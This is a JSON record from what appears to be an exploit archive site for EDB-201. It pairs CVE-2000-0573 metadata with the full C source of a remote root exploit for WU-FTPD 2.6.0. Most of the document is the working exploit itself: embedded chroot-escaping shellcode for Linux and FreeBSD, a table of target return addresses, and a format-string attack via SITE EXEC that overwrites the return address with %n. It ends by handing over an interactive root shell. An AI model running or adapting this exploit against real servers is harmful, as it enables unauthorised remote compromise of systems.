{"exploit":{"id":"EDB-201","name":"WU-FTPD 2.6.0 - Remote Command Execution","description":"WU-FTPD 2.6.0 - Remote Command Execution","cves":["CVE-2000-0573"],"author":"venglin","published":"2000-11-21","platform":"multiple","type":"remote","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/201","path":"exploits/multiple/remote/201.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-201.c","vulnerabilities":[{"id":"CVE-2000-0573","state":"PUBLISHED","title":null,"titleSource":null,"description":"The lreply function in wu-ftpd 2.6.0 and earlier does not properly cleanse an untrusted format string, which allows remote attackers to execute arbitrary commands via the SITE EXEC command.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2000-0573","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2000-0573"},"updatedAt":"2024-08-08T05:21:31.219Z","retrievedAt":"2026-11-26T12:06:39.840Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-201.png?v=2","url":"https://exploitbin.com/exploits/EDB-201","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-201/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-201/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n * (c) 2000 venglin / b0f\n * http://b0f.freebsd.lublin.pl\n *\n * WUFTPD 2.6.0 REMOTE ROOT EXPLOIT (22/06/2000, updated: 05/08/2000)\n *\n * Idea and preliminary version of exploit by tf8\n *\n * Greetz: Lam3rZ, TESO, ADM, lcamtuf, karpio.\n * Dedicated to ksm.\n *\n * **PRIVATE**DO*NOT*DISTRIBUTE**\n */\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <stdarg.h>\n#include <string.h>\n#include <sys/types.h>\n#include <sys/socket.h>\n#include <netinet/in.h>\n#include <netdb.h>\n#include <unistd.h>\n#include <arpa/inet.h>\n\n\n#define repln\tif (getreply(0) < 0) return -1\n#define replv\tif (getreply(1) < 0) return -1\n\n#ifdef DEBUG\n#define repl replv\n#else\n#define repl repln\n#endif\n\nchar usage[] = \"usage: bobek [-l login] [-o port] [-f retofs] [-s retlocofs]\\n\\t<-t type> <hostname>\";\nchar recvbuf[BUFSIZ], sendbuf[BUFSIZ];\nFILE *cin, *cout;\n\nchar linuxcode[]= /* Lam3rZ chroot() code */\n\t\"\\x31\\xc0\\x31\\xdb\\x31\\xc9\\xb0\\x46\\xcd\\x80\\x31\\xc0\\x31\\xdb\"\n\t\"\\x43\\x89\\xd9\\x41\\xb0\\x3f\\xcd\\x80\\xeb\\x6b\\x5e\\x31\\xc0\\x31\"\n\t\"\\xc9\\x8d\\x5e\\x01\\x88\\x46\\x04\\x66\\xb9\\xff\\x01\\xb0\\x27\\xcd\"\n\t\"\\x80\\x31\\xc0\\x8d\\x5e\\x01\\xb0\\x3d\\xcd\\x80\\x31\\xc0\\x31\\xdb\"\n\t\"\\x8d\\x5e\\x08\\x89\\x43\\x02\\x31\\xc9\\xfe\\xc9\\x31\\xc0\\x8d\\x5e\"\n\t\"\\x08\\xb0\\x0c\\xcd\\x80\\xfe\\xc9\\x75\\xf3\\x31\\xc0\\x88\\x46\\x09\"\n\t\"\\x8d\\x5e\\x08\\xb0\\x3d\\xcd\\x80\\xfe\\x0e\\xb0\\x30\\xfe\\xc8\\x88\"\n\t\"\\x46\\x04\\x31\\xc0\\x88\\x46\\x07\\x89\\x76\\x08\\x89\\x46\\x0c\\x89\"\n\t\"\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xb0\\x0b\\xcd\\x80\\x31\\xc0\\x31\"\n\t\"\\xdb\\xb0\\x01\\xcd\\x80\\xe8\\x90\\xff\\xff\\xff\\x30\\x62\\x69\\x6e\"\n\t\"\\x30\\x73\\x68\\x31\\x2e\\x2e\\x31\\x31\\x76\\x65\\x6e\\x67\\x6c\\x69\"\n\t\"\\x6e\\x40\\x6b\\x6f\\x63\\x68\\x61\\x6d\\x2e\\x6b\\x61\\x73\\x69\\x65\"\n\t\"\\x2e\\x63\\x6f\\x6d\";\n\nchar bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */\n\t\"\\x31\\xc0\\x50\\x50\\x50\\xb0\\x7e\\xcd\\x80\\x31\\xdb\\x31\\xc0\\x43\"\n\t\"\\x43\\x53\\x4b\\x53\\x53\\xb0\\x5a\\xcd\\x80\\xeb\\x77\\x5e\\x31\\xc0\"\n\t\"\\x8d\\x5e\\x01\\x88\\x46\\x04\\x66\\x68\\xff\\x01\\x53\\x53\\xb0\\x88\"\n\t\"\\xcd\\x80\\x31\\xc0\\x8d\\x5e\\x01\\x53\\x53\\xb0\\x3d\\xcd\\x80\\x31\"\n\t\"\\xc0\\x31\\xdb\\x8d\\x5e\\x08\\x89\\x43\\x02\\x31\\xc9\\xfe\\xc9\\x31\"\n\t\"\\xc0\\x8d\\x5e\\x08\\x53\\x53\\xb0\\x0c\\xcd\\x80\\xfe\\xc9\\x75\\xf1\"\n\t\"\\x31\\xc0\\x88\\x46\\x09\\x8d\\x5e\\x08\\x53\\x53\\xb0\\x3d\\xcd\\x80\"\n\t\"\\xfe\\x0e\\xb0\\x30\\xfe\\xc8\\x88\\x46\\x04\\x31\\xc0\\x88\\x46\\x07\"\n\t\"\\x89\\x76\\x08\\x89\\x46\\x0c\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\"\n\t\"\\x52\\x51\\x53\\x53\\xb0\\x3b\\xcd\\x80\\x31\\xc0\\x31\\xdb\\x53\\x53\"\n\t\"\\xb0\\x01\\xcd\\x80\\xe8\\x84\\xff\\xff\\xff\\x30\\x62\\x69\\x6e\\x30\"\n\t\"\\x73\\x68\\x31\\x2e\\x2e\\x31\\x31\\x76\\x65\\x6e\\x67\\x6c\\x69\\x6e\"\n\t\"\\x40\\x6b\\x6f\\x63\\x68\\x61\\x6d\\x2e\\x6b\\x61\\x73\\x69\\x65\\x2e\"\n\t\"\\x63\\x6f\\x6d\";\n\nstruct platforms\n{\n\tchar *os;\n\tchar *version;\n\tchar *code;\n\tint align;\n\tint eipoff;\n\tlong ret;\n\tlong retloc;\n\tint sleep;\n};\n\nstruct platforms targ[] =\n{\n\t{ \"FreeBSD 3.4-STABLE\", \"2.6.0-ports\", bsdcode, 2, 1024, 0x80b1f10, 0xbfbfcc04, 0 },\n\t{ \"FreeBSD 5.0-CURRENT\", \"2.6.0-ports\", bsdcode, 2, 1024, 0x80b1510, 0xbfbfec0c, 0 },\n\t{ \"FreeBSD 3.4-STABLE\", \"2.6.0-packages\", bsdcode, 2, 1024, 0x80b1510, 0xbfbfe798, 0 },\n\t{ \"FreeBSD 3.4-STABLE\", \"2.6.0-venglin\", bsdcode, 2, 1024, 0x807078c, 0xbfbfcc04, 0 },\n\t{ \"RedHat Linux 6.2\", \"2.6.0-RPM\", linuxcode, 2, 1024, 0x80759e0, 0xbfffcf74, 0 },\n\t{ \"RedHat Linux 6.2\", \"2.6.0-RPM\", linuxcode, 2, 1024, 0x80759e0, 0xbfffd074, 0 },\n\t{ \"RedHat Linux 6.2\", \"2.6.0-RPM\", linuxcode, 2, 1024, 0x80759e0, 0xbfffcf84, 0 },\n\t{ \"RedHat Linux 6.2\", \"2.6.0-RPM\", linuxcode, 2, 1024, 0x80759e0, 0xbfffd04c, 0 },\n\t{ \"RedHat Linux 6.2-SMP\", \"2.6.0-RPM\", linuxcode, 2, 1024, 0x80759e0, 0xbfffd0e4, 0 },\n\t{ NULL, NULL, NULL, 0, 0, 0, 0 }\n};\n\nlong getip(name)\nchar *name;\n{\n\tstruct hostent *hp;\n\tlong ip;\n\textern int h_errno;\n\n\tif ((ip = inet_addr(name)) < 0)\n\t{\n\t\tif (!(hp = gethostbyname(name)))\n\t\t{\n\t\t\tfprintf(stderr, \"gethostbyname(): %s\\n\",\n\t\t\t\tstrerror(h_errno));\n\t\t\texit(1);\n\t\t}\n\t\tmemcpy(&ip, (hp->h_addr), 4);\n\t}\n\n\treturn ip;\n}\n\nint connecttoftp(host, port)\nchar *host;\nint port;\n{\n\tint sockfd;\n\tstruct sockaddr_in cli;\n\n\tbzero(&cli, sizeof(cli));\n\tcli.sin_family = AF_INET;\n\tcli.sin_addr.s_addr=getip(host);\n\tcli.sin_port = htons(port);\n\n\tif((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)\n\t{\n\t\tperror(\"socket\");\n\t\treturn -1;\n\t}\n\n\tif(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0)\n\t{\n                perror(\"connect\");\n\t\tclose(sockfd);\n\t\treturn -1;\n\t}\n\n\tcin = fdopen(sockfd, \"r\");\n\tcout = fdopen(sockfd, \"w\");\n\n\tif (!cin || !cout)\n\t{\n\t\tclose(sockfd);\n\t\treturn -1;\n\t}\n\n\treturn sockfd;\n}\n\nint command(const char *fmt, ...)\n{\n\tchar buf1[BUFSIZ], buf2[BUFSIZ*2], *p, *q;\n\n\tva_list args;\n\n\tif (!cout)\n\t\treturn -1;\n\n\tbzero(buf1, BUFSIZ);\n\tbzero(buf2, BUFSIZ*2);\n\n\tva_start(args, fmt);\n\tvsnprintf(buf1, BUFSIZ, fmt, args);\n\tva_end(args);\n\n\tfor (p=buf1,q=buf2;*p;p++,q++)\n\t{\n\t\tif (*p == '\\xff')\n\t\t{\n\t\t\t*q++ = '\\xff';\n\t\t\t*q = '\\xff';\n\t\t}\n\t\telse\n\t\t\t*q = *p;\n\t}\n\n\tfprintf(cout, \"%s\", buf2);\n\n#ifdef DEBUG\n\tfprintf(stderr, \"--> \");\n\tfprintf(stderr, \"%s\", buf2);\n\tfputc('\\n', stderr);\n#endif\n\n\tfputs(\"\\r\\n\", cout);\n\t(void)fflush(cout);\n\treturn 0;\n}\n\nint getreply(v)\nint v;\n{\n\tif (!(fgets(recvbuf, BUFSIZ, cin)))\n\t\treturn -1;\n\n\tif (v)\n\t\tfprintf(stderr, \"<-- %s\", recvbuf);\n\n\treturn 0;\n}\n\nint logintoftp(login, passwd)\nchar *login, *passwd;\n{\n\tdo\n\t\trepl;\n\twhile (strncmp(recvbuf, \"220 \", 4));\n\n\tif ((command(\"USER %s\", login)) < 0)\n\t\treturn -1;\n\n\trepl;\n\n\tif (strncmp(recvbuf, \"331\", 3))\n\t{\n\t\tputs(recvbuf);\n\t\treturn -1;\n\t}\n\n\tif ((command(\"PASS %s\", passwd) < 0))\n\t\treturn -1;\n\n\tdo\n\t\trepl;\n\twhile (strncmp(recvbuf, \"230 \", 4));\n\n\treturn 0;\n}\n\nint checkvuln(void)\n{\n\tcommand(\"SITE EXEC %%p\");\n\trepl;\n\n\tif(strncmp(recvbuf, \"200-\", 4))\n\t\treturn -1;\n\n\tif(strncmp(recvbuf+4, \"0x\", 2))\n\t\treturn -1;\n\n\trepl;\n\n\treturn 0;\n}\n\nint findeip(eipoff, align)\nint eipoff, align;\n{\n\tint i, j, off;\n\tchar *p1;\n\tchar eip1[10], eip2[10];\n\n\tfor (i=eipoff;;i+=8)\n\t{\n\t\tfprintf(stderr, \"at offset %d\\n\", i);\n\t\tstrcpy(sendbuf, \"SITE EXEC \");\n\n\t\tfor (j=0;j<align;j++) strcat(sendbuf, \"a\");\n\t\tstrcat(sendbuf, \"abcd\");\n\n\t\tfor (j=0;j<eipoff/8;j++) strcat(sendbuf, \"%%.f\");\n\t\tfor (j=0;j<(i-eipoff)/8;j++) strcat(sendbuf, \"%%d%%d\");\n\t\tstrcat(sendbuf, \"|%%.8x|%%.8x\");\n\n\t\tif (command(sendbuf) < 0)\n\t\t\treturn -1;\n\n\t\trepl;\n\n\t\tif (!(p1 = strchr(recvbuf, '|')))\n\t\t\treturn -1;\n\n\t\tstrncpy(eip1, p1+1, 8);\n\t\tstrncpy(eip2, p1+10, 8);\n\n\t\teip1[8] = eip2[8] = '\\0';\n\n\t\tif (!(strcmp(eip1, \"64636261\")))\n\t\t{\n\t\t\toff = i;\n\t\t\tbreak;\n\t\t}\n\n\t\tif (!(strcmp(eip2, \"64636261\")))\n\t\t{\n\t\t\toff = i + 4;\n\t\t\tbreak;\n\t\t}\n\n\t\trepl;\n\t}\n\n\trepl;\n\n\treturn off;\n}\n\nchar *putshell(type)\nint type;\n{\n\tstatic char buf[400];\n\tint noplen;\n\n\tchar *code = targ[type].code;\n\n\tnoplen = sizeof(buf) - strlen(code) - 2;\n\n\tmemset(buf, 0x90, noplen);\n\tbuf[noplen+1] = '\\0';\n\tstrcat(buf, code);\n\n\treturn buf;\n}\n\nint overwrite(ptr, off, align, retloc, eipoff)\nlong ptr, retloc;\nint off, align, eipoff;\n{\n\tint i, size = 0;\n\tchar buf[100];\n\n\tfprintf(stderr, \"RET: %p, RET location: %p,\"\n\t\t\" RET location offset on stack: %d\\n\",\n\t\t(void *)ptr, (void *)retloc, off);\n\n\tif (off >= 12)\n\t{\n\n\t\tstrcpy(sendbuf, \"SITE EXEC \");\n\n\t\tfor (i=0;i<eipoff/8;i++) strcat(sendbuf, \"%%.f\");\n\t\tfor (i=0;i<(off-eipoff-8)/8;i++) strcat(sendbuf, \"%%d%%d\");\n\n\t\tif (((off-eipoff-8) % 8) != 0) strcat(sendbuf, \"%%d%%d\");\n\n\t\tif (command(sendbuf) < 0)\n\t\t\treturn -1;\n\n\t\trepl;\n\n\t\tsize = strlen(recvbuf+4) - 2;\n\n\t\trepl;\n\t}\n\n\tfprintf(stderr, \"Reply size: %d, New RET: %p\\n\", size,\n\t\t(void *)(ptr-size));\n\n\tstrcpy(sendbuf, \"SITE EXEC \");\n\tfor (i=0;i<align;i++) strcat(sendbuf, \"a\");\n\n\tsprintf(buf, \"%c%c%c%c\", ((int)retloc & 0xff),\n\t\t(((int)retloc & 0xff00) >> 8),\n\t\t(((int)retloc & 0xff0000) >> 16),\n\t\t(((int)retloc & 0xff000000) >> 24));\n\n\tstrcat(sendbuf, buf);\n\n\tfor (i=0;i<eipoff/8;i++) strcat(sendbuf, \"%%.f\");\n\tfor (i=0;i<(off-eipoff-8)/8;i++) strcat(sendbuf, \"%%d%%d\");\n\n\tif (((off-eipoff-8) % 8) != 0) strcat(sendbuf, \"%%d%%d\");\n\n\tstrcat(sendbuf, \"%%.\");\n\tsprintf(buf, \"%d\", (int)ptr-size);\n\tstrcat(sendbuf, buf);\n\tstrcat(sendbuf, \"d%%n\");\n\n\tif (command(sendbuf) < 0)\n\t\treturn -1;\n\n\treturn 0;\n}\n\nint sh(sockfd)\nint sockfd;\n{\n\tchar buf[BUFSIZ];\n\tint c;\n\tfd_set rf, drugi;\n\tchar cmd[] = \"uname -a ; pwd ; id\\n\";\n\n\tFD_ZERO(&rf);\n\tFD_SET(0, &rf);\n\tFD_SET(sockfd, &rf);\n\twrite(sockfd, cmd, strlen(cmd));\n\n\twhile (1)\n\t{\n\t\tbzero(buf, BUFSIZ);\n\t\tmemcpy (&drugi, &rf, sizeof(rf));\n\t\tselect(sockfd+1, &drugi, NULL, NULL, NULL);\n\t\tif (FD_ISSET(0, &drugi))\n\t\t{\n\t\t\tc = read(0, buf, BUFSIZ);\n\t\t\tsend(sockfd, buf, c, 0x4);\n\t\t}\n\n\t\tif (FD_ISSET(sockfd, &drugi))\n\t\t{\n\t\t\tc = read(sockfd, buf, BUFSIZ);\n\t\t\tif (c<0) return 0;\n\t\t\twrite(1,buf,c);\n\t\t}\n\t}\n}\n\nint main(argc, argv)\nint argc;\nchar **argv;\n{\n\textern int optind, opterr;\n\textern char *optarg;\n\tint ch, type, port, eipoff, fd, retofs, retlocofs, align, i, retoff;\n\tlong ret, retloc;\n\tchar login[BUFSIZ], password[BUFSIZ];\n\n\topterr = retofs = retlocofs = 0;\n\tstrcpy(login, \"ftp\");\n\ttype = -1;\n\tport = 21;\n\n\twhile ((ch = getopt(argc, argv, \"l:f:s:t:o\")) != -1)\n\t\tswitch((char)ch)\n\t\t{\n\t\t\tcase 'l':\n\t\t\t\tstrcpy(login, optarg);\n\t\t\t\tbreak;\n\n\t\t\tcase 't':\n\t\t\t\ttype = atoi(optarg);\n\t\t\t\tbreak;\n\n\t\t\tcase 'o':\n\t\t\t\tport = atoi(optarg);\n\t\t\t\tbreak;\n\n\t\t\tcase 'f':\n\t\t\t\tretofs = atoi(optarg);\n\t\t\t\tbreak;\n\n\t\t\tcase 's':\n\t\t\t\tretlocofs = atoi(optarg);\n\t\t\t\tbreak;\n\n\t\t\tcase '?':\n\t\t\tdefault:\n\t\t\t\tputs(usage);\n\t\t\t\texit(0);\n\t\t}\n\n\targc -= optind;\n\targv += optind;\n\n\tfprintf(stderr, \"PanBobek v1.1 by venglin@freebsd.lublin.pl\\n\\n\");\n\n\tif (type < 0)\n\t{\n\t\tfprintf(stderr, \"Please select platform:\\n\");\n\t\tfor (i=0;targ[i].os;i++)\n\t\t{\n\t\t\tfprintf(stderr, \"\\t-t %d : %s %s (%p / %p)\\n\", i,\n\t\t\t\ttarg[i].os, targ[i].version,\n\t\t\t\t(void *)targ[i].ret,\n\t\t\t\t(void *)targ[i].retloc);\n\t\t}\n\t\texit(0);\n\t}\n\n\tfprintf(stderr, \"Selected platform: %s with WUFTPD %s\\n\\n\",\n\t\ttarg[type].os, targ[type].version);\n\n\teipoff = targ[type].eipoff;\n\talign = targ[type].align;\n\tret = targ[type].ret;\n\tretloc = targ[type].retloc;\n\tretloc += retlocofs;\n\tret += retofs;\n\n\tif (argc != 1)\n\t{\n\t\tputs(usage);\n\t\texit(0);\n\t}\n\n\tstrcpy(password, putshell(type));\n\n\tif ((fd = connecttoftp(*argv, port)) < 0)\n\t{\n\t\t(void)fprintf(stderr, \"Connection to %s failed.\\n\", *argv);\n\t\texit(1);\n\t}\n\n\t(void)fprintf(stderr, \"Connected to %s. Trying to log in.\\n\", *argv);\n\n\tif (logintoftp(login, password) < 0)\n\t{\n\t\t(void)fprintf(stderr, \"Logging in to %s (%s) failed.\\n\",\n\t\t\t*argv, login);\n\t\texit(1);\n        }\n\n\t(void)fprintf(stderr, \"Logged in as %s. Checking vulnerability.\\n\",\n\t\tlogin);\n\n\tsleep(targ[type].sleep);\n\n\tif (checkvuln() < 0)\n\t{\n\t\t(void)fprintf(stderr, \"Sorry, this version isn't\"\n\t\t\t\" vulnerable or uses internal vsnprintf().\\n\");\n\t\texit(1);\n\t}\n\n\t(void)fprintf(stderr, \"Ok, trying to find offset (initial: %d)\\n\",\n\t\teipoff);\n\n\tif ((retoff = findeip(eipoff, align)) < 0)\n\t{\n\t\t(void)fprintf(stderr, \"\\nError finding offset. Adjust\"\n\t\t\t\" align.\\n\");\n\t\texit(1);\n\t}\n\n\tif (overwrite(ret, retoff, align, retloc, eipoff) < 0)\n\t{\n\t\t(void)fprintf(stderr, \"Error overwriting RET addr.\\n\");\n\t\texit(1);\n\t}\n\n\tfprintf(stderr, \"Wait up to few minutes for reply. It depends on \"\n\t\t\t\"victim's CPU speed.\\nEnjoy your shell.\\n\");\n\n\tsh(fd);\n\n\texit(0);\n}\n\n\n// milw0rm.com [2000-11-21]","sha256":"d98c8284cc4ed6e61e09ed78bfa32ed75f1bd8a2fdf60c84f66de0dee78524eb","bytes":10838,"fetchedAt":"2026-11-26T12:06:36.628Z","encoding":"utf-8 (display only; download retains original bytes)"}